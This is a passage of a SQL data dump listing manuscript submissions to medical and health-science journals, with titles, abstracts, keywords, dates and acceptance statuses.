Docking',NULL,12,0,'','','',5436,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14643,14659,981,0,'ipft-24-14643','Understanding Toxicological and Biochemical Mechanisms of Pesticides',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14644,14660,981,0,'ipft-24-14644','Exploring the Nexus of Food and Chemical Toxicology: Safeguarding Health through Knowledge',NULL,12,0,'','','',59099,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14645,14661,667,0,'iptb-24-14645','Unraveling the Enigma: Sarcomatoid Anaplastic Carcinoma of the Thyroid',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14646,14662,667,0,'iptb-24-14646','Unlocking the Potential: Pharmaceutical and Biotechnological Applications of Lignin-based Materials',NULL,12,0,'','','',3334,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14647,14663,667,0,'iptb-24-14647','Exploring the Biotechnological and Medical Potential of <em>Thermomonas hydrothermalis</em> from Jordan\'s Hot Springs',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14648,14664,667,0,'iptb-24-14648','Affibody Molecules in Biotechnological Applications: Harnessing Versatility for Targeted Therapeutics and Imaging',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14649,14665,667,0,'iptb-24-14649','Lignocellulosic Biomass-Based Glycoconjugates: A Sustainable Approach for Bioproduct Development',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14650,14665,667,0,'iptb-24-14650','Biological Factors affecting the Pre-Analytical Quality of Blood Cultures',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14651,14666,667,0,'iptb-24-14651','Patterns of Human Papillomavirus DNA and Antibody Positivity in Both Young Males and Females',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14652,14667,667,0,'iptb-24-14652','Unsupervised Analysis of Classical Biomedical Markers: Unlocking Insights for Precision Medicine',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14653,14668,667,0,'iptb-24-14653','Unmasking Fake Drugs: Safeguarding Public Health with Baseline Spectral Fingerprinting',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14654,14669,667,0,'iptb-24-14654','Unraveling the Economic Impact of Medical Genetic Testing',NULL,12,0,'','','',3933,NULL,'2024-03-06',NULL,'Submitted',2,NULL,'2024-03-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14655,14670,45,0,'iphsj-24-14655','Knowledge regarding eye floaters among Health professional students',NULL,14,0,'','Abstract\r\nBackground\r\nEye floaters are normally present in most people and are not usually treated. Occasionally, however, floaters may indicate a more serious eye condition. Eye floaters are common among aged person and the study was done to assess the prevalence, risk factors and knowledge of eye floaters among Students. \r\nObjective\r\nThe study was done to assess the knowledge regarding eye floaters among health professional students\r\nMethods\r\nA descriptive cross sectional research design was used. The two hundred and twenty samples were selected using purposive sampling technique. After obtaining informed consent, the questionnaire was sent via What Sapp and Email. \r\nResults\r\nFindings reveal that they are aware of eye floaters, but are not fully aware of them. Being in the medical profession, they need to update their knowledge related to ophthalmic problems \r\nConclusion\r\nEye floaters are an ocular emergency condition. They are more common in the elderly and also in people with diabetes mellitus and a history of eye injury. Therefore, the frontline nurse must have adequate knowledge of eye floaters to treat the patient. The nursing curriculum need to include all emergency conditions related to Eye. \r\n \r\n\r\n\r\n',' Eye floaters, Knowledge, Health professionals, Nursing',456,NULL,'2024-03-07',NULL,'Submitted',4,NULL,'2024-04-29',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14656,14671,45,0,'iphsj-24-14656','Biochemical Analyzer and Ultra violet visible Spectrophotometer used for the estimation Guaifenesin and Theophylline in blood samples',NULL,14,0,'','Performance available analyzer evaluated for chemical analysis of biological samples,Ultra violet visible Spectrophotometer with the quality reagents examined in a single-site study to estimate two drugs Guaifenesin (GU) and Theophylline (THP) amounts in blood samples. The two drugs are a combination of drugs used for the treatment of asthma symptoms, chronic bronchitis and emphysema, and relieve cough, wheezing, shortness of breath, and troubled breathing. Periodontal diseases are an assortment of inflammatory conditions that influence the supporting tissues of the teeth .The study described the influences of Guaifenesin and Theophylline on CK-MB and LDH Enzymes which has been analyzed by Biochemical Analyzer and Spectrophotometer and also on the clinical condition in relation to these medications. Random serum samples were collected from patients (40 - 45 years of age) with different concentrations of drugs for the purpose of measuring their effect on the activity of CK-MB and LDH enzymes. CK-MB activity has been increased by increasing the concentration of each drug and even after the combination of two drugs. The decreasing in the activity of LDH has been observed with the rising the concentration of drugs','Biochemical analyzer, Drugs Analyses, Guaifenesin, Theophylline, and UV-Visible spectrophotometer',59228,NULL,'2024-03-08',NULL,'Submitted',14,NULL,'2024-03-12',NULL,1,1,'0','The manuscript is accepted without any changes.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14657,14451,73,0,'ipjnn-24-14657','The principles and the Three Adolescents with Left Perisylvian Acquired Injury',NULL,3,1,'Current neurology and neuroscience report','','',326,NULL,'2024-03-13',NULL,'Submitted',15,NULL,'2024-03-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14658,14672,45,0,'iphsj-24-14658','The Effects of Thermal Dry Cupping Therapy  in Type II Diabetes Mellitus  in Omani Patients',NULL,15,0,'','Introduction: Type 2 Diabetes Mellitus (T2DM) is a group of metabolic disorders characterized by insulin resistance. It’s a multifactorial chronic disease and if not managed properly, it can lead to complications in both short-term and long-term incidences. These complications involve intensified blood cholesterol due to high incidence of blood glucose, which can lead to several complications. The gold standard treatment for T2DM is metformin, however other approaches have been studied in conjunction with the standard treatment, which can lead to improvement of cholesterol and blood sugar levels in diabetic patients in order to prevent further complications \r\nMethod: Thermal Dry Cupping Therapy was done using traditional glass cups on 30 T2DM patients, who have been diagnosed with diabetes for more than three years and are still using metformin. This method was repeated once a week for 4 weeks. Then fasting blood samples were obtained to measure the levels of blood glucose and lipid profile for total cholesterol levels, low density lipoprotein (LDL) and high density lipoprotein (HDL). Whereas the % of HAb1c was determined by ELISA method. \r\nResult: Post cupping measurements showed a significant decrease in fasting blood glucose measurements of  8.15 ± 1.09, % HAb1c of 45.71±5.89,   and a significant decrease in total cholesterol levels of 186.65±27.83 and  low density lipoprotein (LDL) of  135.73±15.2, however an increase in high density lipoprotein (HDL) of 45.71±5.89 was observed . \r\nConclusion: The data suggest that several sessions of Thermal Dry Cupping therapy can decrease values of total cholesterol, low density lipoprotein, fasting blood glucose and percent of glycated haemoglobin. Hence, it might play a role in the improvement of impaired glucose metabolism, which can be beneficial as a complementary treatment for T2DM in Omani patients besides the standard treatment.','Thermal Dry Cupping Therapy, Type 2 Diabetes Mellitus, Fasting blood glucose, Lipid profile, Glycated Haemoglobin and Glucose metabolism',4076,NULL,'2024-03-13',NULL,'Submitted',2,NULL,'2024-03-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14659,14673,959,0,'ipacr-24-14659','Understanding Biomarkers in Modern Medicine: Unveiling the Keys to Personalized Healthcare',NULL,3,0,'','','',59229,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14660,14674,959,0,'ipacr-24-14660','Advancements in Cancer Drug Therapies: A Comprehensive Overview',NULL,3,0,'','','',59230,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14661,14675,959,0,'ipacr-24-14661','The Evolution of Cancer Tablets: Revolutionizing Treatment in Present Society',NULL,12,0,'','','',59231,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14662,14677,959,0,'ipacr-24-14662','Recognizing the Silent Threat: Symptoms of Cancer in Early Stages',NULL,3,0,'','','',59233,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14663,14678,959,0,'ipacr-24-14663','Unveiling the Enigma of Cancer Stem Cells: Implications for Therapeutic Strategies',NULL,3,0,'','','',3521,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14664,14679,959,0,'ipacr-24-14664','Precision Medicine: Revolutionizing Healthcare through Personalized Treatment',NULL,12,0,'','','',59234,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14665,14680,959,0,'ipacr-24-14665','Understanding Breast Cancer: Symptoms, Risk Factors, Diagnosis, and Treatment',NULL,12,0,'','','',3142,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14666,14681,959,0,'ipacr-24-14666','A Comprehensive Guide to Types of Cancer: Occurrence and Treatment Strategies',NULL,12,0,'','','',5428,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed  for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14667,14682,959,0,'ipacr-24-14667','Unraveling the Complexity of Tumor Immunology: Harnessing the Immune System in Cancer Therapy',NULL,12,0,'','','',5428,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14668,14683,959,0,'ipacr-24-14668','Unveiling the Power of Cancer Registry Archives: A Comprehensive Resource for Cancer Research and Public Health',NULL,3,0,'','','',5428,NULL,'2024-03-14',NULL,'Submitted',2,NULL,'2024-04-18',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14669,14684,45,0,NULL,'Feeding the Epidemic: Overeating and Food Addiction as Catalysts for Obesity',NULL,14,1,'','','',59236,NULL,'2024-03-14',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14670,14685,45,0,'iphsj-24-14670','Optimizing Pharmacotherapy for AR and CHF',NULL,15,0,'','This review article explores the crucial elements of medication optimization for two common cardiovascular diseases: AR (Atrial fibrillation) and CHF (Chronic Heart Failure), characterized by irregular heartbeats, increase the risk of stroke and failure. \r\nEffective anti-coagulation medications are essential for reducing the risk of stroke, alongside rate control and rhythm control measures.\r\nThe choice of therapy should be tailored to individual patient characteristics. CHF is a complex condition stemming from comprised heart function, and managed with guideline-directed pharmacological therapy including ACE inhibitors, beta blockers and diuretics. Recent advancements like sodium-glucose co-transporter 2 (SGLT-2) inhibitors and angiotensin receptor blockers (ARBs) have shown promise in improving patient outcomes.','Atrial fibrillation, Commorbidities,  SGLT-2, ARBs, ',3430,NULL,'2024-03-15',NULL,'Submitted',12,NULL,'2024-04-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14671,14686,45,0,'iphsj-24-14671','Polymeric Nanoformulations in HIV-Associated Neurocognitive Disease Treatment',NULL,15,0,'','Context: One of the most prevalent comorbidities in the ART era is Human immunodeficiency viruses related Neurocognitive disorderliness . The prevalence of HIV-Associated Neurocognitive Disorder is said to vary from 20% to 88%. A promising approach to treating and preventing neurocognitives problems in Human immunodeficiency viruses-positive individuals is the encapsulation of nanosized antiretrovirals in different polymers, which can improve absorption inside the central nervous system and other latent viral reservoirs.\r\nPrimary text: Procedures The term HAND refers to the range of neurocognitives impairments associated with Human immunodeficiency viruses infection.Brain activity declines lead to neurocognitive issues.\r\nAlthough ART has been utilized to improve cognitive function and reverse the course of the disease, hand diseases presently lack a distinct form of therapy. Adsorbed on or placed inside a polymer matrix, polymeric nanoformulations are solid colloidal systems containing active therapeutic ingredients.Particle sizes for these substances range from 1 to 1,000 nm. An array of hydrophilic and hydrophobic medications, vaccines, peptides, and biological macromolecules may be delivered in a regulated manner using polymeric nanoformulations in a variety of ways\r\nConclusionWhen PNPs are actively targeted, promising outcomes have been shown in preclinical research and, in certain situations, early clinical trials. Since polymeric nanoformulations have the potential to eliminate latent viral reservoirs, more study is needed on their use in HAND treatment.. Furthermore, new antiviral drugs that are safe, effective, and simple to use for both adult and pediatric HIV+ patients are required.','Human immunodeficiency viruses/Human immunodeficiency virus infection and acquired immune deficiency syndrome, central nervous system penetration, polymer nanoformulations, cognitive disorder, and antiretroviral',3300,NULL,'2024-03-17',NULL,'Submitted',4,NULL,'2024-03-22',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14672,14687,91,0,'ijddr-24-14672','A Review on Bioactive Compounds from Plants Available in South India with Uroprotective and Nephroprotective Activity',NULL,15,0,'','Nephrotoxicity and urotoxicity are two menacing entities that can wreak havoc on renal function and patient well-being, making them a pressing concern in the realms of clinical medicine and drug research.The review examines the underlying causes and mechanisms of these conditions, including drug-induced nephrotoxicity and the effects of nonsteroidal anti-inflammatory drugs (NSAIDs), antibiotics, and chemotherapeutic agents. In vivo and in vitro methods for studying these outcomes are also explored. The advantages and limitations of different experimental models for studying nephrotoxicity are discussed, such as rodents, zebrafish, and organ-on-a-chip technologies. Additionally, botanical extracts such as Punica granatum and Curcuma longa are considered for their potential therapeutic benefits in managing nephrotoxicity. These extracts have shown antioxidative, anti-inflammatory, and immunomodulatory properties that make them promising candidates for futureresearch.This review aims to encourage and inspire further research and innovation in the field of nephrotoxicity and urotoxicity management, by highlighting the potential of botanical extracts and the importance of utilizing experimental models for studying these conditions.','Nephrotoxicity, Urotoxicity, Herbal extract, drug induced nephrotoxicity',59237,NULL,'2024-03-17',NULL,'Submitted',2,NULL,'2024-05-03',NULL,1,1,'1','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14673,14688,996,0,'ipar-24-14673','Navigating the Complexities of Chronic Knee Pain: A Comprehensive Guide to Diagnosis, Treatment, and Management',NULL,12,0,'','','',59162,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14674,14689,996,0,'ipar-24-14674','Deciphering Polymyalgia Rheumatica: Unveiling the Mysteries of a Complex Autoimmune Disorder',NULL,12,0,'','','',59167,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14675,14690,996,0,'ipar-24-14675','Delving into the World of Rheumatology: Understanding the Expertise and Impact of Rheumatologists',NULL,12,0,'','','',59167,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14676,14691,996,0,'ipar-24-14676','Exploring the Effectiveness and Impact of Knee Braces: A Comprehensive Guide',NULL,12,0,'','','',59162,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14677,14692,996,0,'ipar-24-14677','Unveiling the Complexities of Polymyalgia Rheumatica: Symptoms, Diagnosis, and Management',NULL,12,0,'','','',59163,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14678,14693,996,0,'ipar-24-14678','Pain Relief: Navigating the Pathways to Comfort and Well-being',NULL,12,0,'','','',59129,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14679,14694,996,0,'ipar-24-14679','Traumeel: A Holistic Approach to Pain Relief and Healing',NULL,12,0,'','','',59164,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14680,14695,996,0,'ipar-24-14680','Dolor Lumbar: Understanding and Managing Lower Back Pain',NULL,12,0,'','','',59130,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14681,14696,996,0,'ipar-24-14681','Understanding Lupus: Navigating the Complexities of an Autoimmune Disease',NULL,12,0,'','','',59164,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14682,14697,996,0,'ipar-24-14682','Navigating the Landscape of Rheumatology: A Comprehensive Guide to Rheumatologists',NULL,12,0,'','','',59167,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14683,14698,45,0,'iphsj-24-14683','FACTOR ANALYSIS OF STUNTING PREVENTION EFFORTS  IN MOTHERS OF TODDLERS ',NULL,14,0,'stunting','Abstract \r\nBackground: Stunting is a condition of failure to thrive in toddlers due to chronic malnutrition during the first 1,000 days of a child\'s life (Trihono et al., 2015). The prevalence of stunting as a result of Riskesda has increased by 35.6% (in 2010), in 2013 it increased nationally by 37.2%, namely 18% very short and 19.2% short (Ministry of Health, 2013), in 2022 the working area of Puskesmas Wire ranked first in stunting prevalence which is 24.43% (Tuban Health Office Report, 2022). The purpose of the study was to determine the dominant factors in efforts to prevent stunting events in mothers with toddlers in the work area of the Wire Health Center, Tuban Regency. Method: The research design is descriptive correlation, crosssectional approach. The population is all mothers with toddlers as many as 400 mothers, the sample is selected by noprobability sampling  technique, namely quota sampling as many as 200 mothers. Its data collection using questionnaires, further tabulated in distribution tables and analyzed. Statistical test Discriptive analysis is univariate analysis for research variables of frequency and percentage distribution. Bivariate analysis  with logistic regression  test to analyze dominant factors. Results: It was found that most mothers under five (69.5%) aged 20-35 years, most (52.5%) had a junior high school / MTs education, almost all (78.5%) were not working, almost all (77%) earned < 2.5 million. In maternal behavior, social support was obtained p-value 0.029 < 0.05, intention of p-value 0.018 < 0.05, autonomy of p-value 0.018 < 0.05, access to information of p-value 0.998> 0.05, p-value situation 0.999 > 0.05. Of the five factors, efforts to prevent stunting are influenced by social support, intention and autonomy. Conclusion: Family support, intention and autonomy in mothers with toddlers play a major role in health behavior change, and preventive measures against increasing stunting can prevent the consequences of stunting both in the short and long term.\r\n','faktor analysis,stunting',3824,NULL,'2024-03-19',NULL,'Submitted',12,NULL,'2024-03-20',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14684,14699,45,0,'iphsj-24-14684','Acute and Overload Injuries of World Cup Ice Climbers',NULL,14,0,'','Introduction: Competition ice climbing has developed into a semi-professional sport. Nevertheless, scientific data on the injury profile and incidence are rare.\r\nObjectives: To evaluate the causes, diagnoses and incidence of acute and overuse injuries in elite ice climbers during training and competition for better prevention.\r\nMethods: Competitors in an Ice Climbing World Cup event volunteered to complete a questionnaire on their training, injuries and overuse symptoms. Injuries and accidents were analysed in each of the injury scoring systems of the UIAA, OSICS and NACA. Statistics were descriptive. \r\nResults: A total of 73 climbers (M: 58; F:15) joined the study, including all World Cup winners. The average climbing experience was 5.9 years with most active in several climbing disciplines. Competition training averaged 11.8 hr/wk and was of a similar volume to previous months and years. Thirty-one climbers had mastered a UIAA climbing grade difficulty from 9 up to 11+. In 13 out of 16 climbers reporting an accident, the injury occurred in a discipline other than ice climbing - 6 happened in another climbing discipline, 4 during competitions, 3 while on tour, and one was unspecified. None reported securing errors or rockfall as causal, but 10 stated the accident was avoidable, and 4 felt it was ‘fateful’ and therefore unavoidable. Three accidents were caused by ice breakage, 5 by material damage, 4 by swaying, and 3 were ‘other’. Using the NACA injury index for the 16 reported accidents: 25,0% were NACA 1, 68.7% NACA 2, 6.3% NACA 3, and none were NACA 4 or above.\r\nThe acute injuries sustained by 18 climbers using the UIAA Injury Score in brackets were: 4 frostbite (1/2), 6 open wound (1/2), 6 fractures (2/3), and one unclassified. In almost all cases the injury lasted between one day and less than a week, and one case lasted 5 weeks. The 16 reported injury locations using UIAA/OSICS Injury Indexes were: 4 lower leg, 2 head/face, 2 foot/toe/ankle/unspecified, 1 in each category for upper arm, wrist, knee, and chest, and 3 were unspecified. Overuse injury histories were reported by 40.6% of climbers, with women at a significantly higher risk.\r\nConclusion: Although the risk of overuse injuries is low in elite ice climbers, particular attention should be paid to the elbow joints and shoulders of women. Accidents were generally infrequent and involved minor injuries. Helmet use is mandatory during competitions. However protective goggles may help prevent eye injuries, and wearing appropriately designed protective trousers may reduce lower leg injuries caused by crampons, thus reducing the risk and incidence of injuries.\r\n','ice climbing, injuries, risk, training, prevention, competition',3273,NULL,'2024-03-20',NULL,'Submitted',2,NULL,'2024-03-27',NULL,1,1,'0','The manuscript effectively contextualizes the study within the broader landscape of ice climbing injury research, emphasizing the need for more empirical data in this area, thereby enhancing its scholarly significance. The meticulous description and utilization of established injury scoring systems, alongside ethical approvals, strengthen the methodological rigor of the study, ensuring the reliability and credibility of the data collected.',0,'','',NULL,0,0,0,NULL,0),(14685,14700,45,0,'iphsj-24-14685','Empowering Communities the Importance of Health Education',NULL,5,0,'','This abstract explores the critical role of health education in empowering communities to make informed decisions about their health and well-being. Health education serves as a catalyst for preventing diseases: promoting healthy behaviors: and addressing disparities in access to healthcare. By equipping individuals with knowledge and skills related to nutrition: physical activity: mental health: and substance abuse: health education initiatives empower them to take control of their health and become advocates for healthier communities. Through interactive workshops: community outreach programs: and digital platforms: health educators engage with diverse populations: addressing their specific needs and concerns. Despite challenges such as limited resources and cultural barriers: health education offers significant opportunities for driving positive change and building more resilient communities. As we navigate the complexities of public health: investing in health education emerges as a fundamental strategy for promoting equity: improving health outcomes: and fostering a culture of wellness for all.','Empowerment; Communities; Health Education; Prevention; Disease; Well-being',4076,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14686,14701,45,0,'iphsj-24-14686','Nurturing Environmental Health a Pathway to Sustainable Well-Being',NULL,25,0,'','This abstract explores the critical importance of nurturing environmental health as a pathway to sustainable well-being. Environmental health, the intersection of public health and environmental science, is essential for safeguarding human health and promoting sustainable development. Through an examination of key environmental factors such as air and water quality, the built environment, and climate change, the abstract highlights the profound impacts of environmental quality on health outcomes. It emphasizes the need for holistic approaches to address environmental challenges, including regulatory measures, clean energy initiatives, sustainable urban planning, and global climate action. By prioritizing environmental health as a fundamental component of public health, communities can create healthier environments, reduce health disparities, and foster resilience in the face of environmental threats.','Health disparities; Pollution; Respiratory diseases; Cardiovascular diseases',643,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14687,14702,45,0,'iphsj-24-14687','Understanding Cardiovascular Diseases Causes Prevention and Treatment',NULL,5,0,'','Cardiovascular diseases (CVDs) are a leading cause of morbidity and mortality worldwide; encompassing conditions such as coronary artery disease; hypertension; heart failure; stroke; and peripheral artery disease. This abstract provides an overview of the causes; prevention strategies; and treatment options for CVDs. Key risk factors for CVDs include unhealthy diet; physical inactivity; smoking; high blood pressure; diabetes; obesity; and genetic predisposition. Prevention strategies focus on lifestyle modifications; including adopting a healthy diet; regular exercise; smoking cessation; managing blood pressure and cholesterol levels; weight management; limiting alcohol consumption; and stress management. Treatment options vary depending on the specific condition and may include medications; lifestyle modifications; surgical interventions; cardiac rehabilitation; implantable devices; and transplantation.','Cardiovascular diseases; heart health; causes; risk factors; prevention; lifestyle modifications',3430,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14688,14703,45,0,'iphsj-24-14688','A Comprehensive Approach to Well-Being',NULL,2,0,'','Achieving well-being encompasses more than just physical health; it involves addressing various aspects of individuals\' lives to promote holistic wellness. This abstract explores a comprehensive approach to well-being that integrates physical, mental, emotional, and social dimensions. By recognizing the interconnectedness of these dimensions and addressing factors such as lifestyle choices, social support, and environmental influences, individuals and communities can cultivate a state of well-being that enhances their quality of life. This holistic approach emphasizes empowerment, preventive measures, equity, and social justice, underscoring the importance of promoting well-being at the individual, community, and societal levels. Through education, community engagement, policy advocacy, and healthcare interventions, this comprehensive approach seeks to create environments that support and sustain well-being for all.','Holistic health; Well-being promotion; Multifaceted wellness; Empowerment in health; Preventative measures',685,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14689,14704,45,0,'iphsj-24-14689','Understanding the Impact of Social Determinants of Health',NULL,17,0,'','The concept of social determinants of health has emerged as a crucial framework for understanding the complex interplay between social; economic; and environmental factors that shape health outcomes. This abstract explores the multifaceted impact of social determinants on individual and population health. It highlights key determinants such as socioeconomic status; neighborhood and physical environment; social support networks; health behaviors; and access to healthcare. By addressing these determinants; policymakers; healthcare providers; and community stakeholders can work collaboratively to reduce health inequities and promote the well-being of all individuals. Through a comprehensive understanding of the social determinants of health; interventions can be tailored to address the root causes of disparities and foster healthier communities.','Social determinants of health; socioeconomic status; neighborhood environment; social support networks; health behaviors',4076,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14690,14705,45,0,'iphsj-24-14690','Understanding Skin Health a Comprehensive Review',NULL,5,0,'','Skin health is a critical aspect of overall well-being, serving as the body\'s primary barrier against external threats and playing a crucial role in maintaining homeostasis. This comprehensive review synthesizes current knowledge on skin anatomy, physiology, and function, exploring the intricate mechanisms that govern skin health and resilience. We examine the dynamic interplay between intrinsic and extrinsic factors that influence skin condition, including genetics, aging, environmental exposures, lifestyle factors, and skincare practices. Furthermore, we discuss common dermatological conditions and their impact on quality of life, highlighting the importance of preventive measures, early intervention, and evidence-based management strategies. By integrating insights from dermatology, immunology, microbiology, and cosmetology, this review aims to provide a holistic understanding of skin health and empower individuals to optimize their skincare routines and promote lifelong skin wellness.','Skin health, dermatology, skincare, aging, environmental factors, dermatological conditions',4076,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14691,14706,45,0,'iphsj-24-14691','Advancements in Health Psychology Understanding the Interplay of Mind, Body and Environment',NULL,25,0,'','Health psychology, as an interdisciplinary field, explores the dynamic interactions between psychological processes and physical health outcomes. This comprehensive research article delves into the foundational principles, theoretical frameworks, and empirical findings that shape our understanding of health psychology. By examining the interplay of biological, psychological, social, and environmental factors, we elucidate the mechanisms underlying health behaviors, illness experiences, and healthcare utilization. Furthermore, we explore the role of health psychology in promoting wellness, preventing disease, and enhancing quality of life across the lifespan. Through a synthesis of current research, clinical applications, and future directions, this article aims to highlight the importance of integrating psychological insights into healthcare practice and policy to address the multifaceted challenges of modern healthcare.','Health psychology, biopsychosocial model, health behaviors, illness experiences, healthcare utilization',458,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14692,14707,45,0,'iphsj-24-14692','The Role of Social and Behavioral Science in Understanding and Addressing Complex Societal Challenges',NULL,5,0,'','Social and behavioral science encompasses a diverse array of disciplines that study human behavior, interactions, and societal dynamics. This comprehensive research article explores the foundational principles, theoretical frameworks, and empirical findings within the realm of social and behavioral science. By examining the interplay of individual, interpersonal, and societal factors, we elucidate how social and behavioral science contributes to understanding complex societal challenges such as health disparities, climate change, social inequality, and global pandemics. Furthermore, we discuss the application of social and behavioral science in informing evidence-based interventions, policies, and practices aimed at promoting social justice, enhancing well-being, and fostering sustainable development. Through interdisciplinary collaboration, community engagement, and data-driven approaches, this article aims to highlight the critical role of social and behavioral science in addressing pressing issues facing contemporary societies worldwide.','Social and behavioral science, human behavior, societal dynamics, health disparities, climate change, social inequality, global pandemics',4076,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14693,14708,45,0,'iphsj-24-14693','Personal Health A Holistic Approach to 